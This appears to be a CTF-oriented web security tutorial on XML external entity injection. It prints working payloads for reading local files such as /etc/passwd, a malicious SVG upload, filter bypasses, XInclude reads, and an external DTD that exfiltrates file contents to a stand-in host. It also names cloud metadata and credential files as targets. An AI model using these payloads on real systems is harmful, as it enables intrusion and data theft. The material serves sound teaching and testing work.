Skip to content
All posts
webrevised February 17, 20267 min read

XXE: turning an XML parser into a file reader

Any feature that parses XML - and that includes SVG, DOCX, and SOAP - can be told to fetch files and URLs of your choosing. How to confirm it, read files with a classic payload, and exfiltrate through an external DTD when nothing comes back.

XML has a feature almost nobody asks for and almost every parser ships enabled: a document can define entities that pull their contents from a URL. That URL can be file:///etc/passwd. It can be http://169.254.169.254/. The parser resolves it while building the document, before your application has looked at a single field. That is XML external entity injection, and it is the reason an innocent-looking upload form is one of the most reliable file-read primitives in CTF web.

What makes XXE worth learning as its own category, rather than as a footnote to SSRF, is how well it hides. The vulnerable input is frequently not called XML anywhere the user can see. It is an avatar upload that accepts SVG, a document import that accepts DOCX, a SOAP endpoint, an RSS parser, a SAML assertion. All of those are XML underneath, and all of them reach a parser.

The mechanism in four lines

An internal entity is a find-and-replace: define test as some text, and &test; expands to it. An external entity changes only where the text comes from - the SYSTEM keyword makes the value a URL the parser fetches.

<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY test SYSTEM "file:///etc/passwd">
]>
<r>&test;</r>
If the application echoes the parsed content back anywhere, this returns the file. That is the entire classic attack.

The file:// scheme reads local files. http:// makes the server issue a request, which is an SSRF wearing XML syntax - everything from the SSRF article applies once you are here, including cloud metadata and internal port scanning. Some parsers also enable php://, expect://, jar://, or netdoc://, each of which widens what you can reach; php://filter in particular lets you base64-encode a file so that newlines and XML-special characters do not break the parse.

Step one: find the XML you are allowed to send

The entry point is XML the server parses. Look in three places, in order of how often people miss them.

  • Obvious XML bodies. A request whose body starts with <?xml, or a SOAP envelope. Base64-encoded XML begins PD94bWw - that string is worth recognising on sight, because it is <?xml encoded and it turns an opaque blob into an entry point.
  • Content-Type coercion. An endpoint that takes JSON by default will sometimes parse XML if you change the Content-Type to application/xml and send an XML body. The parser is wired up; only the router was pointing elsewhere.
  • File uploads. This is the big one. SVG, DOCX, PPTX, XLSX, GPX, PDF, RSS, and even the XMP metadata inside PNG and JPEG are XML-backed. An avatar uploader that swears it only takes images will happily parse an SVG, and SVG is plain-text XML you can edit in any editor.
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY x SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="30">
  <text x="0" y="20">&x;</text>
</svg>
Save as .svg and upload. If the server rasterises it or renders it back, the file contents appear as the label text.

Step two: confirm entities are processed

Before a file-read payload, prove the parser expands entities at all. An internal entity needs no network and no file access, so it isolates the one question you care about.

<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY hi "IT-WORKS"> ]>
<r>&hi;</r>
If IT-WORKS comes back in place of the entity, DTD processing is on and you can proceed.

If SYSTEM is blocked but entities still expand, try PUBLIC instead - <!ENTITY test PUBLIC "any-id" "file:///etc/hostname">. Some hardened parsers filter one keyword and not the other. Start file reads with low-drama targets like /etc/hostname and /etc/passwd; a challenge often restricts the obvious paths, so a failure on the first file is not a failure of the technique.

Step three: when nothing comes back - blind XXE

Plenty of parsers process your XML and never echo it. This is blind XXE, and the naive fix - define a file entity and cram it into a URL - does not work, for a reason worth understanding rather than memorising.

<!-- Looks reasonable. Does not work. -->
<!DOCTYPE r [
  <!ENTITY file SYSTEM "file:///etc/passwd">
  <!ENTITY exfil SYSTEM "http://you.example/?x=&file;">
]>
Parsers refuse to expand a general entity inside another entity's definition, and stop at this line.

The way through is parameter entities - entities declared and referenced with % that are meant to be used inside the DTD itself. And because inline DTDs forbid referencing a parameter entity inside a markup declaration, the working attack lives in an *external* DTD that you host, where that restriction does not apply.

<!-- Host this as xxe.dtd on a server you control. -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % ent "<!ENTITY &#x25; exfil SYSTEM 'http://you.example/?x=%file;'>">
%ent;
%exfil;
&#x25; is a literal percent sign, hex-encoded so it survives being nested. The base64 filter keeps newlines from breaking the URL - the plain version can exfiltrate only the first line of a file.
<!-- Send this to the target. It pulls in your DTD, which does the work. -->
<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY % dtd SYSTEM "http://you.example/xxe.dtd">
  %dtd;
]>

Notice this uses only parameter entities and no external general entity at all, which is exactly why it survives parsers that block the classic form. Stand up a listener, request the target, and read the file contents out of your own access log.

Step four: XInclude, when you only control a fragment

Sometimes you cannot supply the DOCTYPE - the server builds the XML document and drops your input into one field of it. You have lost the ability to declare entities, but not the ability to attack, because XInclude pulls a file into a single element with no DTD required.

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/hostname"/>
</foo>
This is the payload for a single injectable value. parse="text" keeps the target file from being interpreted as more XML.

If a single user-controlled field ends up inside a server-side XML document, this one tag is often the whole exploit - no control over the document, no DTD, still a file read.

What it is worth once it works

  • Local file read - the flag file, /etc/passwd, source code, ~/.bash_history (internal URLs and paths people typed), config files with credentials in them.
  • SSRF - swap file:// for http:// and you have the server's network position: internal services, cloud metadata, port scanning by response difference.
  • Directory-listing and source disclosure, on parsers that allow it, which turns a blind challenge into a readable one.

The short version

  1. Find XML the server parses - bodies, coerced Content-Types, and especially SVG/DOCX uploads.
  2. Confirm entity expansion with an internal entity before anything else.
  3. Read files with a classic SYSTEM (or PUBLIC) payload if the result is reflected.
  4. If it is blind, host an external DTD using parameter entities and exfiltrate to your listener - or leak via a parser error.
  5. If you only control one field, reach for XInclude.
  6. Escalate file:// to http:// for SSRF, and go read the flag.